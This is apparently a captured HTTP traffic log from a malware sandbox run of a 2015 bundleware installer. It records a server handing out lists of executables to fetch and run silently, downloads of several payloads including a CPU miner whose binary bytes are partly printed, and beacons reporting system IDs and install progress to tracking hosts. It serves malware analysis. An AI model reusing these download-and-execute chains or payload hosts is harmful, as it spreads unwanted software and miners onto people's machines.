GET /crossbrowse/ie/107/ie.zip.002 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:43 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008912"

Last-Modified: Mon, 31 Aug 2015 08:15:12 GMT

Cache-Control: max-age=40536

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1441580323.dop018.am4.t,1441580323.cds043.am4.c
.R...rf..ol......}>....]..m..sr!..m..Mu..v....\..F.....R...[y8...6.
..7...h.K.52.'.m];."......;........6.Q.Li.T[...<.....P..SJGtW....~.
.....&.{h.X.;<.x...........iX..........qda.....P....6X.....@.(.....
...... .....!E..t......-O..n..z..N.....4s....=0...xa.o....Q..P....z..o
NiC. ...{..B.~..B..o.4...UO[.T....Y..f..*..G......h.1...B.I..1...;..3.
...(...;..M..Q.5..,F.._..$#..K.(..&...Y...O.Q(.>O......UP.<?2_..
. .%.D..*.H..y...5..U7.#.....J 7.8b...f.r64h.g ....'y.m..M.fW...e..Y.S
G..D...a.h..auwR......v......_.s<E.O......Y..n-..hT..p.$J.`>....
..-...9.2.Is..5...v.~%{b.H.d).......w..m5......X..v~..!.:.K..xEzE...J.
..V....It..C6...~V6%...uG..bW...........)}..m..|nh..............wB;.M&
gt;.E.h..E0..9.....F.ew....J.J......_*4....*{..V(z..}q........u.:tfT..
.G9'....6......8.....h..r...`s/..kw.H.~...E..r_!.A.U....kbn......2..m]
T&&.....p.p,6_.....~........;V.......:.....MI.Vs..'.(..@...B...S...O..
.<....q.IG....wB$.......Q.&.....4...{^....g..L...e8...b..(n.B<..
b5...o......"......!.G.....m^......2.:...^...1xd[..h.^...I...c~.h.....
Q.3tv"^k....!.G...d........=:.....5`a....ab$.r'3..:...l..&.d@p...P"..7
..w..@.F:.x...o..j..W...%...Cz?.Np......~....GFP ;..Z.......2.~8....R.
..s......//.7.....l.U>....r.....{0.Gs:......`.pm......_{.".........
#d..")..o..-.... ...E.J.....}.XhH;h...4j. ..E..3]g..9.!..T...``r.hwhEb
P......L..S/Is|5..`....}|W(...8E76..7...*.l....Wuw....2.....cO..)4c..=
X9..zwT...i.`..Rh.......ST.zLL.9..V.}<..<....5.>\H..,...(.l..
..q>..i2<~.E.F.....b.......\.....j1W.Q...o\s..}.<....$^w.<<< skipped >>>

GET /Generic/vos.php?ch=NOCHPC&rdsn=0&idn=1&sid=&isnw=2&civ=2&or=&pac=&guidv=2&vpname=&prdk=&tst= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: livestatscounter.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.3

Date: Sun, 06 Sep 2015 22:58:37 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.5.23

3d3..hXXp://d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe.. /md=2 /v=so
m-tot-cpm-opw-crb-crr..hXXp://livestatscounter.com/SysInfo/validator/t
imer.php..hXXp://dl.staticclientstorage.com/69/all/cp/row/setup.exe.. 
q::cCnnykR3kEQycJE x#R3E#nqxkcn:x*:n*x:QcR#*D..hXXp://d16hr9n7t75k58.c
loudfront.net/36e0f22eacad857de2cd3b76aedc24a7.exe.. /installapp..http
s://s3.amazonaws.com/cf_vopackage/SysInfo/SearchUpdater.exe.. /idn /ch
=NOCHPC..hXXp://d1mdi78qyff344.cloudfront.net/7121923af824073a25b2b7e6
ba0a6e0e.exe.. /ci 11612..hXXp://d16hr9n7t75k58.cloudfront.net/df4a6a3
ed77e60d6758afca091ca0c1f.exe.. /ci 12216..hXXp://dl.taxideataxus.com/
download/dwn/prq4633/este/re/setup_gmsd_re.exe../VERYSILENT..hXXp://d1
0huri5h4o4a3.cloudfront.net/smt.exe..hXXp://d10huri5h4o4a3.cloudfront.
net/policyname.exe.. /vpol=som..hXXp://VVV.codec13sudha.com/download.p
hp?l4J9dw==..hXXp://download-servers.com/SysInfo/Validate.exe.. /s..ht
tp://download-servers.com/anyprotect/nosig/AnyProtectSetup.exe../s..0.
.HTTP/1.1 200 OK..Server: nginx/1.6.3..Date: Sun, 06 Sep 2015 22:58:37
 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection:
 keep-alive..X-Powered-By: PHP/5.5.23..3d3..hXXp://d2fpsq9kg43yka.clou
dfront.net/cmmdWriter.exe.. /md=2 /v=som-tot-cpm-opw-crb-crr..hXXp://l
ivestatscounter.com/SysInfo/validator/timer.php..hXXp://dl.staticclien
tstorage.com/69/all/cp/row/setup.exe.. q::cCnnykR3kEQycJE x#R3E#nqxkcn
:x*:n*x:QcR#*D..hXXp://d16hr9n7t75k58.cloudfront.net/36e0f22eacad857de
2cd3b76aedc24a7.exe.. /installapp..hXXps://s3.amazonaws.com/cf_vop

<<< skipped >>>

GET /SysInfo/validator/timer.php HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: livestatscounter.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.3

Date: Sun, 06 Sep 2015 22:58:38 GMT

Content-Type: application/octet-stream

Content-Length: 165898

Connection: keep-alive

X-Powered-By: PHP/5.5.23

Content-Transfer-Encoding: binary

Content-Disposition: attachment; filename=VISWHQk.exe

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................P...............................................t....
...@..................................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@..@.data...X\......
.....v..............@....ndata...P...............................rsrc.
.......@.......z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
.h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=3&rnd=2838 HTTP/1.1

Accept: */*

Host: logs.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:41 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1441580322.dop017.am4.t,1441580321.cds063.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sun, 06 Sep 
2015 22:58:41 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1441580322.dop017.am4.t,1441580321.
cds063.am4.c..GIF89a.............,...........D..;..

GET /download/dwn/prq4633/este/re/setup_gmsd_re.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.taxideataxus.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:51 GMT

Server: Apache/2.2.16

Last-Modified: Sun, 06 Sep 2015 15:31:47 GMT

ETag: "4da020c-587fe8-51f15d4b59ec0"

Accept-Ranges: bytes

Content-Length: 5799912

Keep-Alive: timeout=15, max=200

Connection: Keep-Alive

Content-Type: application/x-msdos-program

MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
.........*....................@..........................0........X...
.......@..............................P....................sX.........
......................................................................
..............CODE....0........................... ..`DATA....P.......
....................@...BSS......................................idata
..P...........................@....tls................................
.....rdata..............................@..P.reloc....................
..........@..P.rsrc...............................@..P.............@..
....................@..P..............................................
......................................................................
..............................................string................&l
t;.@.....m.@..........)@..(@..(@..)@.....$)@..Free..0)@..InitInstance.
.L)@..CleanupInstance..h(@..ClassType..l(@..ClassName...(@..ClassNameI
s...(@..ClassParent...)@..ClassInfo...(@..InstanceSize...)@..InheritsF
rom...)@..Dispatch...)@..MethodAddress..<*@..MethodName..x*@..Field
Address...)@..DefaultHandler...(@..NewInstance...(@..FreeInstance.TObj
ect.@...@..% .@....%..@....%..@....%..@....%..@....%..@....%..@....%(.
@....%..@....%..@....%..@....%..@....%..@....%..@....%..@....%..@.

<<< skipped >>>

GET /installers/bi_downloader/1441577004706/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: sub.spirlymo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 430296

Connection: keep-alive

Server: nginx

Date: Sun, 06 Sep 2015 22:03:50 GMT

Last-Modified: Sun, 06 Sep 2015 22:03:26 GMT

ETag: "55ecb82e-690d8"

Expires: Sun, 06 Sep 2015 22:13:50 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 103

X-Cache: Hit from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GoOd6GvsWR6NrFud1AQQClsWl1vphn6Nc-zOIzB4_jw_YK1Jq-Zi6w==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................0...............................................s.
.........pD..........X................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@..@.data........
........r..............@....ndata.......@...........................rs
rc...pD.......F...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.
P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......P
p@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /CPUminer/Bundle_CPUminer.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.software-forus.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:58:50 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1439472602"

Last-Modified: Thu, 13 Aug 2015 13:30:02 GMT

Cache-Control: max-age=77077

Content-Length: 100529

Content-Type: application/octet-stream

X-HW: 1441580330.dop008.fr7.t,1441580330.cds039.fr7.c

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................p...............................................s.
......`..8............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@..@.data........
........r..............@....ndata... ...@...........................rs
rc...8....`.......v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.
P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......P
p@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /utility.gif?report=fdata&f=4&c=003266&i=100&n=install_browser_start_async&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6423 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: yAnqCYumV2NHupJk8ImF  VZ1AFmRJGxJrOICcP3OSwinz1SRRUIgnns0M 7Izsp

x-amz-request-id: C0D7DE4D39B4F8E6

Date: Sun, 06 Sep 2015 22:58:44 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=4&c=003266&i=250&n=install_browser_downloading&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=9431 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: XrgF/m9KHMNmyqCJuhjzB3kwtEr0gSYQz2veX0Kzzlorl5XxHQA2PItrs9ILnaaa

x-amz-request-id: AB86F51F954E5102

Date: Sun, 06 Sep 2015 22:58:44 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=4&c=003266&i=270&n=install_browser_all_thread_created_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6862 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: u2johjF6889Rjw23ttIuWqXtOX1O/Y1jK2CgF6dwjlsaNxX41ZN2Hk24uayr5M/r

x-amz-request-id: 3CFC1E57BB33CF5C

Date: Sun, 06 Sep 2015 22:58:44 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: u2johj
F6889Rjw23ttIuWqXtOX1O/Y1jK2CgF6dwjlsaNxX41ZN2Hk24uayr5M/r..x-amz-requ
est-id: 3CFC1E57BB33CF5C..Date: Sun, 06 Sep 2015 22:58:44 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=310&n=install_browser_all_thread_ended_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=933 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: yHyhRnYS2MCGujz1F hdSUFiciK/QQl7vBDxi10SceIKYmNvJzsmX6sNawTB9cML

x-amz-request-id: B7C75AB49B620942

Date: Sun, 06 Sep 2015 22:58:51 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: yHyhRn
YS2MCGujz1F hdSUFiciK/QQl7vBDxi10SceIKYmNvJzsmX6sNawTB9cML..x-amz-requ
est-id: B7C75AB49B620942..Date: Sun, 06 Sep 2015 22:58:51 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=360&n=install_browser_all_files_in_place&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=5132 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: szbKIMajNLrJQXm5yxldzCXQ84eIdh6TMfOfEdjLaVKPohXER2JVmiTcEXEslTfH

x-amz-request-id: 1F3CD514527FB00A

Date: Sun, 06 Sep 2015 22:58:54 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: szbKIM
ajNLrJQXm5yxldzCXQ84eIdh6TMfOfEdjLaVKPohXER2JVmiTcEXEslTfH..x-amz-requ
est-id: 1F3CD514527FB00A..Date: Sun, 06 Sep 2015 22:58:54 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=410&n=install_browser_install_ch_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=6473 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: jtkw/8 MMQQsb5EafOq/AleDoUPll2BbzfXrRshVdb/y9kFYV9vmmdrkAzD1u1tQ

x-amz-request-id: 73C1FCF601D17D8A

Date: Sun, 06 Sep 2015 22:59:11 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: jtkw/8
 MMQQsb5EafOq/AleDoUPll2BbzfXrRshVdb/y9kFYV9vmmdrkAzD1u1tQ..x-amz-requ
est-id: 73C1FCF601D17D8A..Date: Sun, 06 Sep 2015 22:59:11 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=4&c=003266&i=480&n=install_browser_end_success&ibic=c34de9db4800cc5c07ea55982373e9fd&rnd=1898 HTTP/1.1

Accept: */*

Host: err.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 0mLafLqiFoE7lAnjOckFkBiq3oFHOUGuU/UPAdPviX08ujUZ0Q/PLFfUVmFGLYRe

x-amz-request-id: 7E7AA2A235A254B9

Date: Sun, 06 Sep 2015 22:59:13 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 0mLafL
qiFoE7lAnjOckFkBiq3oFHOUGuU/UPAdPviX08ujUZ0Q/PLFfUVmFGLYRe..x-amz-requ
est-id: 7E7AA2A235A254B9..Date: Sun, 06 Sep 2015 22:59:13 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 17 Jun 2015 13:20:16 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_DCOUNT1 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:59:09 GMT

Server: Apache/2.2.16 (Debian) mod_ssl/2.2.16 OpenSSL/0.9.8o mod_wsgi/3.3 Python/2.6.6 mod_perl/2.0.4 Perl/v5.10.1

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Sun, 06 Sep 15 22:59:00 GMT

Set-Cookie: _c4aid=0E4EAB8E159440C295ABAE9174EC5050; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=0E4EAB8E159440C295ABAE9174EC5050,1441580349.56868; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript
41.......if (window.rdp_callback).....rdp_callback(1203, 134153);.....
.0..

GET /data.gif?app=12345&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&ver=107&os=XP32&browser=ci&campaign=003266&browserver=107&country=UA&event=4&rnd=2444 HTTP/1.1

Accept: */*

Host: logs.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:59:12 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1441580352.dop006.am4.t,1441580352.cds063.am4.c

GIF89a.............,...........D..;..

POST /thankyou.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.downloadsoup.com

Content-Length: 459

Connection: Keep-Alive

Cache-Control: no-cache

cnt=c4cd2a1e9d435f16d360805b8034cae5&_srvlog=NSI &browser=ie&capp=nsdummy&cid=12216¤t_screen=Finish_Last_Screen&is=0&netfs=0&os=&sysid=C8318CA6891F5119A9FD96EC19E98D71&sysid1=C8318CA6891F5119A9FD96EC19E98D71&te=1441580333&ts=1441580332&ver=1.1.2.41&c[CPUminer][s]=-2&c[Updater][s]=8&c[Updater][pi]=1&c[CPUminer][pi]=0&c[CPUminer][e]=0&c[CPUminer][ts]=0&c[CPUminer][te]=0&cmdl=C:DOCUME~1admLOCALS~1Temp
sh37.tmp /ci 12216&bti1=
HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Date: Sun, 06 Sep 2015 22:58:52 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

Content-Length: 14

Connection: keep-alive

....      ..HTTP/1.1 200 OK..Content-Type: text/plain; charset=UTF-8..
Date: Sun, 06 Sep 2015 22:58:52 GMT..Server: Apache/2.2.15 (Red Hat)..
X-Powered-By: PHP/5.3.3..Content-Length: 14..Connection: keep-alive...
...      ....

GET /smt.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d10huri5h4o4a3.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Content-Length: 211114

Connection: keep-alive

Date: Sat, 29 Aug 2015 04:33:07 GMT

Last-Modified: Wed, 25 Feb 2015 18:08:27 GMT

ETag: "20f288aa7d995a4bfcb240b66383ebf4"

Accept-Ranges: bytes

Server: AmazonS3

Age: 63186

X-Cache: Hit from cloudfront

Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tbV4Yt9mde8YGHNk_aW0Hd8EvnIoo-IG8Fz4BXyLs9x45Ciidw_FSw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
... ...f..............................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@..@.data...X\......
.....v..............@....ndata...0...............................rsrc.
...f... ...h...z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
.h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /cgi-bin/advert/settags?x_mode=args&x_format=javascript&x_dp_id=1203&x_pub_id=134153&tag=RE_CLICKMEIN_INSTALL_FIN HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: ads.regiedepub.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sun, 06 Sep 2015 22:59:09 GMT

Server: Apache/2.2.16 (Debian) mod_ssl/2.2.16 OpenSSL/0.9.8o mod_wsgi/3.3 Python/2.6.6 mod_perl/2.0.4 Perl/v5.10.1

Content-Location: settags.cgi

Vary: negotiate

TCN: choice

Cache-Control: no-store, no-cache, must-revalidate

X-C4PC-ServerName: ads.regiedepub.com

P3P: policyref="hXXp://ads.regiedepub.com/w3c/p3p.xml",CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA"

Expires: Sun, 06 Sep 15 22:59:00 GMT

Set-Cookie: _c4aid=F1D48DACDE97474BBB5711B2490125BD; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=regiedepub.com; path=/;

Set-Cookie: _c4aid2=F1D48DACDE97474BBB5711B2490125BD,1441580349.03597; expires=Fri, 04 Mar 16 22:59:00 GMT; domain=regiedepub.com; path=/;

Connection: close

Transfer-Encoding: chunked

Content-Type: text/javascript
41.......if (window.rdp_callback).....rdp_callback(1203, 134153);.....
.0..

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4958\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:35 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive
{"Status":"OK"}....


POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 115

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"4959\",\"channel_id\": \"\", \"utm_addition\":\"v=2\"}"}
HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Sun, 06 Sep 2015 22:58:36 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive
{"Status":"OK"}....


